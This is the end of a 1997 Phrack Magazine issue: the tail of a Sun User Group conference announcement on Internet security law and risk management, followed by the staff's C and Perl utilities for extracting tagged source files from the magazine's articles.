forum and educational opportunities for all those interested in
keeping their system investment safe and within the law.
Topics will include:
* Corporate liablity on the Internet
* Internet risk management in the enterprise
* Hiring a SysAdmin you can trust
* Legal risks of Internet commerce
* Establishing a fair-use policy
* Prosecuting system intruders
* Communicating with your SysAdmin
* Understanding copyright law
* Assessing your exposure to hackers
* Employee privacy vs. owner rights
... and much more!

               FOR MORE INFORMATION CONTACT
 The Sun User Group  * 14 Harvard Ave, 2nd Floor * Allston, MA 02134
     (617)787-2301 * conference@sug.org * http://www.sug.org/CL4


----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 17 of 17


-------------------------[  Phrack Magzine Extraction Utility


--------[  Phrack Staff

    This time around, you have the option of using the C version of extract, 
or the PERL version, contributed by Daos.


---------------------8<------------CUT-HERE----------->8---------------------
 
/*  extract.c by Phrack Staff and sirsyko 
 *
 *  (c) Phrack Magazine, 1997 
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical 
 *  directory strcuture. Use to extract source code from any of the articles 
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *  
 *  ./extract filename   
 */   

 
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>

int main(int argc, char **argv){ 

    char *s="<++> ",*e="<-->",b[256],*bp; 
    FILE *f,*o = NULL; 
    int l, n, i=0; 

    l = strlen(s); 
    n = strlen(e); 

    if(argc<2) {
        printf("Usage: %s <inputfile>\n",argv[0]);
        exit(1); 
    }

    if(! (f=fopen(argv[1], "r"))) {
        printf("Could not open input file.\n");
	exit(1);
    }

    while(fgets(b, 256, f)){ 

        if(!strncmp (b, s, l)){ 
	    b[strlen(b)-1] = '\0'; 

	    if((bp=strchr(b+l+1,'/')))
	        while (bp){ 
		    *bp='\0';
		    mkdir(b+l, 0700); 
		    *bp='/';
		    bp=strchr(bp+1,'/'); 
		}
	    if((o = fopen(b+l, "w"))) 
	        printf("- Extracting %s\n",b+l);
	    else {
		printf("Could not extract '%s'\n",b+l);
		exit(1);
	    }
	} 
        else if(!strncmp (b, e, n)){
	    if(o) fclose(o);
	    else {
	        printf("Error closing file.\n");
		exit(1);
	    }
        } 
        else if(o) {
            fputs(b, o);
            i++;
        }
    }
    if(!i) printf("No extraction tags found.\n");
    return(0);
}

---------------------8<------------CUT-HERE----------->8---------------------

# Daos <daos@nym.alias.net>

<++> extract.pl
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;}; 
if ($opening) {                        
        chop $curfile;                 
        $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
        eval {mkdir $sex_dir, "0777";}; 
        open(ct_ex,">$curfile"); 
        print "Attempting extraction of $curfile\n";
        $opened=1; 
}
if ($opened && !$opening) {print ct_ex $_}; 
<-->

----[  EOF


--------------------------------------------------------------------------------